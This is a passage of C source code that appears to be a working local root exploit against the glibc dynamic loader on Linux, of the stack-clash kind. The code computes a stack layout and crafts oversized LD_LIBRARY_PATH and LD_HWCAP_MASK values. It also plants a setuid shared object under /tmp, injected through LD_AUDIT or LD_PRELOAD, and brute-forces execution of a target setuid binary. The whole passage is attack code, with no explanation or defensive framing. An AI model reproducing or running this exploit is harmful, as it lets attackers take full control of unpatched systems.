if (max_important_hwcaps >= 65536) die();
|
|
max_important_hwcaps += 256;
|
|
|
|
if (num_important_hwcaps >= max_important_hwcaps) die();
|
|
important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps));
|
|
if (!important_hwcaps) die();
|
|
}
|
|
memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps));
|
|
important_hwcaps[idx] = ihc;
|
|
num_important_hwcaps++;
|
|
}
|
|
if (!(hwcap_mask % 0x10000000))
|
|
printf("num_important_hwcaps %zu hwcap_mask %x\n", num_important_hwcaps, hwcap_mask);
|
|
} while (++hwcap_mask);
|
|
}
|
|
printf("num_important_hwcaps %zu\n", num_important_hwcaps);
|
|
|
|
static struct {
|
|
size_t len, gwr, dst, cnt;
|
|
struct my_important_hwcaps ihc;
|
|
} best = { .ihc = { .pointers = SIZE_MAX } };
|
|
|
|
if (strrchr(target->system_dir, '/') != target->system_dir) die();
|
|
const char * const sep_lib = my_asprintf(":%s", target->system_dir);
|
|
const size_t sep_lib_len = strlen(sep_lib);
|
|
if (sep_lib_len >= MALLOC_ALIGN) die();
|
|
|
|
#define LLP "LD_LIBRARY_PATH="
|
|
static char llp[MAX_ARG_STRLEN];
|
|
|
|
size_t len;
|
|
for (len = sizeof(llp) - sizeof(LLP); len >= MALLOC_ALIGN; len -= MALLOC_ALIGN) {
|
|
|
|
size_t gwr;
|
|
for (gwr = MALLOC_ALIGN; gwr <= len - sep_lib_len; gwr += MALLOC_ALIGN) {
|
|
|
|
size_t dst;
|
|
for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) {
|
|
|
|
const size_t cnt = (len - sep_lib_len - gwr) / (1 + DSTs[dst].len + 1);
|
|
const size_t gpj = (len + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1);
|
|
const size_t bwr = (cnt * (DSTs[dst].repl_len + 1)) + (len - gwr - cnt * (1 + DSTs[dst].len + 1)) + 1;
|
|
|
|
size_t idx;
|
|
for (idx = 0; idx < num_important_hwcaps; idx++) {
|
|
const struct my_important_hwcaps ihc = important_hwcaps[idx];
|
|
if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue;
|
|
if (ihc.pointers <= 2 * SUB_STACK_RAND) continue;
|
|
|
|
const size_t nup = ((ihc.pointers + ihc.strings + PAGESZ-1) & ~(PAGESZ-1)) + (target->extra_page * PAGESZ);
|
|
if (nup >= (elf.rw_start - elf.rx_end) - target->vdso_vvar) continue;
|
|
|
|
const size_t ihc_strings_start = ihc.pointers;
|
|
const size_t ihc_strings_end = ihc_strings_start + ihc.strings;
|
|
|
|
const size_t gpj_base = nup + target->vdso_vvar + (elf.rw_end - elf.rw_start) + jump_ldso_pie + PAGESZ + safe_stack_size;
|
|
const size_t gpj_base_lo = gpj_base - SUB_STACK_RAND;
|
|
const size_t gpj_base_hi = gpj_base + SUB_STACK_RAND;
|
|
|
|
if (gpj_base_lo <= gpj) continue;
|
|
if (gpj_base_hi - gpj >= ihc_strings_start) continue;
|
|
if (gpj_base_lo - gpj + gwr <= ihc_strings_start) continue;
|
|
if (gpj_base_hi - gpj + gwr + bwr >= ihc_strings_end) continue;
|
|
|
|
if (best.ihc.pointers <= ihc.pointers) continue;
|
|
best.ihc = ihc;
|
|
best.len = len;
|
|
best.gwr = gwr;
|
|
best.dst = dst;
|
|
best.cnt = cnt;
|
|
printf("max %zu ihcp %zu ihcs %zu len %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu\n",
|
|
ihc.max_capstrlen, ihc.pointers, ihc.strings, len, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
if (best.ihc.pointers >= SIZE_MAX) die();
|
|
|
|
if (INITIAL_STACK_EXPANSION <= safe_stack_size) die();
|
|
const size_t pads = (INITIAL_STACK_EXPANSION - safe_stack_size) / sizeof(char *);
|
|
static char pad[MAX_ARG_STRLEN];
|
|
memset(pad, ' ', sizeof(pad)-1);
|
|
|
|
{
|
|
char * cp = mempcpy(llp, LLP, sizeof(LLP)-1);
|
|
memset(cp, '/', best.len);
|
|
if (best.len <= sep_lib_len) die();
|
|
memcpy(cp + best.len - sep_lib_len, sep_lib, sep_lib_len);
|
|
if (*(cp + best.len)) die();
|
|
|
|
#define LIB_TO_TMP "/../tmp/"
|
|
if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die();
|
|
|
|
if (!best.gwr) die();
|
|
if (best.gwr >= best.len) die();
|
|
if (best.gwr % MALLOC_ALIGN) die();
|
|
size_t i;
|
|
for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) {
|
|
cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN);
|
|
}
|
|
if (!best.cnt) die();
|
|
if (best.dst >= sizeof(DSTs)/sizeof(*DSTs)) die();
|
|
for (i = 0; i < best.cnt; i++) {
|
|
*cp++ = '$';
|
|
cp = mempcpy(cp, DSTs[best.dst].str, DSTs[best.dst].len);
|
|
*cp++ = '/';
|
|
}
|
|
if (cp >= llp + sizeof(llp)) die();
|
|
if (llp[sizeof(llp)-1]) die();
|
|
if (strlen(llp) != sizeof(LLP)-1 + best.len) die();
|
|
}
|
|
|
|
#define LHCM "LD_HWCAP_MASK="
|
|
static char lhcm[64];
|
|
if ((unsigned int)snprintf(lhcm, sizeof(lhcm), "%s%lu", LHCM, best.ihc.hwcap_mask)
|
|
>= sizeof(lhcm)) die();
|
|
|
|
const size_t args = 1 + (target->jump_ldso_pie ? 0 : pads) + 1;
|
|
char ** const argv = calloc(args, sizeof(char *));
|
|
if (!argv) die();
|
|
{
|
|
char ** ap = argv;
|
|
*ap++ = (char *)binary;
|
|
if (!target->jump_ldso_pie) {
|
|
size_t i;
|
|
for (i = 0; i < pads; i++) {
|
|
*ap++ = pad;
|
|
}
|
|
}
|
|
*ap++ = NULL;
|
|
if (ap != argv + args) die();
|
|
}
|
|
|
|
const size_t envs = 3 + (target->jump_ldso_pie ? pads : 0) + 1;
|
|
char ** const envp = calloc(envs, sizeof(char *));
|
|
if (!envp) die();
|
|
{
|
|
char ** ep = envp;
|
|
*ep++ = llp;
|
|
*ep++ = lhcm;
|
|
#define REL_LA "a"
|
|
#define LDA "LD_AUDIT="
|
|
#define LDP "LD_PRELOAD="
|
|
*ep++ = target->disable_audit ? LDP REL_LA : LDA REL_LA;
|
|
if (target->jump_ldso_pie) {
|
|
size_t i;
|
|
for (i = 0; i < pads; i++) {
|
|
*ep++ = pad;
|
|
}
|
|
}
|
|
*ep++ = NULL;
|
|
if (ep != envp + envs) die();
|
|
}
|
|
|
|
{
|
|
const size_t MIN_GAP = target->CVE_2015_1593 ?
|
|
(128*1024*1024UL + (((-1U ) & 0x3fffff) << 12)) :
|
|
(128*1024*1024UL + (((-1UL) & 0x3fffff) << 12)) ;
|
|
printf("MIN_GAP %zu\n", MIN_GAP);
|
|
|
|
if (pads * sizeof(pad) + (1<<20) >= MIN_GAP / 4) die();
|
|
const struct rlimit rlimit_stack = { MIN_GAP, MIN_GAP };
|
|
if (setrlimit(RLIMIT_STACK, &rlimit_stack)) die();
|
|
}
|
|
|
|
int pipefd[2];
|
|
if (pipe(pipefd)) die();
|
|
if (close(pipefd[0])) die();
|
|
pipefd[0] = -1;
|
|
if (signal(SIGPIPE, SIG_DFL) == SIG_ERR) die();
|
|
|
|
{
|
|
const char * const abs_la_dir = my_asprintf("/%s/%s/", target->system_dir, LIB_TO_TMP);
|
|
const char * const abs_las[] = {
|
|
my_asprintf("%s%s%s", abs_la_dir, "", REL_LA),
|
|
my_asprintf("%s%s%s", abs_la_dir, "/", REL_LA),
|
|
my_asprintf("%s%s%s", abs_la_dir, "/.", REL_LA),
|
|
my_asprintf("%s%s%s", abs_la_dir, "/..", REL_LA),
|
|
};
|
|
size_t i;
|
|
for (i = 0; i < sizeof(abs_las)/sizeof(*abs_las); i++) {
|
|
const int fd = open(abs_las[i], O_WRONLY | O_CREAT | O_TRUNC | O_NOFOLLOW, 0);
|
|
if (fd <= -1) die();
|
|
{
|
|
struct stat st;
|
|
if (fstat(fd, &st)) die();
|
|
if (!S_ISREG(st.st_mode)) die();
|
|
if (st.st_uid != getuid()) die();
|
|
if (st.st_uid != geteuid()) die();
|
|
}
|
|
{
|
|
static const
|
|
#include "la.so.h"
|
|
if (sizeof(la_so) != la_so_len) die();
|
|
if (write(fd, la_so, sizeof(la_so)) != (ssize_t)sizeof(la_so)) die();
|
|
}
|
|
if (fchmod(fd, 04755)) die();
|
|
if (close(fd)) die();
|
|
}
|
|
if (target->disable_audit) create_needed_libs(binary, abs_la_dir);
|
|
}
|
|
|
|
size_t try;
|
|
for (try = 1; try; try++) {
|
|
if (fflush(stdout)) die();
|
|
const pid_t pid = fork();
|
|
if (pid <= -1) die();
|
|
if (pid == 0) {
|
|
if (dup2(pipefd[1], 1) != 1) die();
|
|
if (dup2(pipefd[1], 2) != 2) die();
|
|
execve(*argv, argv, envp);
|
|
die();
|
|
}
|
|
int status = 0;
|
|
struct timeval start, stop, diff;
|
|
if (gettimeofday(&start, NULL)) die();
|
|
if (waitpid(pid, &status, WUNTRACED) != pid) die();
|
|
if (gettimeofday(&stop, NULL)) die();
|
|
timersub(&stop, &start, &diff);
|
|
printf("try %zu %ld.%06ld ", try, diff.tv_sec, diff.tv_usec);
|
|
|
|
if (WIFSIGNALED(status)) {
|
|
printf("signal %d\n", WTERMSIG(status));
|
|
switch (WTERMSIG(status)) {
|
|
case SIGPIPE:
|
|
case SIGSEGV:
|
|
case SIGBUS:
|
|
break;
|
|
default:
|
|
die();
|
|
}
|
|
} else if (WIFEXITED(status)) {
|
|
printf("exited %d\n", WEXITSTATUS(status));
|
|
die();
|
|
} else if (WIFSTOPPED(status)) {
|
|
printf("stopped %d\n", WSTOPSIG(status));
|
|
die();
|
|
} else {
|
|
printf("unknown %d\n", status);
|
|
die();
|
|
}
|
|
}
|
|
die();
|
|
} |